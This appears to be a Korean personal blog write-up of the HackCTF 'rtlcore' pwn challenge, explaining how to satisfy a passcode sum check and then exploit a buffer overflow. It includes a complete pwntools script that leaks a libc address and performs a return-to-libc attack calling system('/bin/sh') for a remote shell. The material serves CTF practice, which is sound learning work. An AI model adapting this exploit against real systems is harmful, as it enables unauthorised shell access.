Hacking/write-up
(HackCTF) rtlcore
JINJIN123
2020. 9. 10. 16:06
(HackCTF) rtlcore
core함수에 접근하게 되면 read함수가 받는 문자열 길이가 buf에 비해 충분하므로 bof공격을 할 수 있겠습니다.
check_passcode함수의 결과가 0xC0D9B0A7 이 되어야 합니다.
-풀이
main 함수에서 check_passcode함수로 입력받은 문자열의 주소값을 넘겨줍니다.
check_passcode함수에서 이 반복문을보면 *(4+i+a1) 이 부분은 a1이 주소값이기 때문에 주소가 가르키는 공간에 있는 값에 접근합니다.
-> v2=*(a1)+ *(a1+4) + *(a1+8) + *(a1+12) + *(a1+16)
3235492007/5 몫=647098401
3235492007%5 나머지=2
647098401 647098401 647098401 647098401 647098403 이 순서대로 a1, a1+4, a1+8,a+12,a+16 주소가 가르키는 값이 되면 되겠습니다.
#입력받을때 string 형태로 입력받기 때문에 pwntools 에서 p32를 이용하여 4바이트씩 값이 입력될 수 있게 해줍니다.
-pwntools 코드
#-*-coding:utf-8-*- from pwn import * p=remote('ctf.j0n9hyun.xyz',3015) l=ELF('./libc.so.6') binsh_offset=l.search('/bin/sh').next() payload=p32(647098401)*4 payload+=p32(647098403) p.sendline(payload) p.recvuntil('바로 ') printf_addr=int(p.recv(10),16) libc=printf_addr-l.sym['printf'] system=libc+l.sym['system'] binsh=libc+binsh_offset log.success('libc_addr='+hex(libc)) log.success('system_addr='+hex(system)) log.success('binsh_addr='+hex(binsh)) p.recvuntil('일거야\n') payload='a'*0x42 payload+=p32(system) payload+='aaaa' payload+=p32(binsh) p.sendline(payload) p.interactive() |
문제를 풀며 아쉬웠던 점
main에서string으로 입력받고 check_passcode함수로 주소값을 넘겨주고
for문에서 4바이트씩 주소값을 증가시키는 부분에서 어떻게 입력을 해야 4바이트씩 다음 값을 넣어줄 수 있을까하는 부분에서 막혔다.
pwntools에서 p32로 값을 보내주면 됐었다 알고 있는 사실이였는데 바로 활용을 못했다.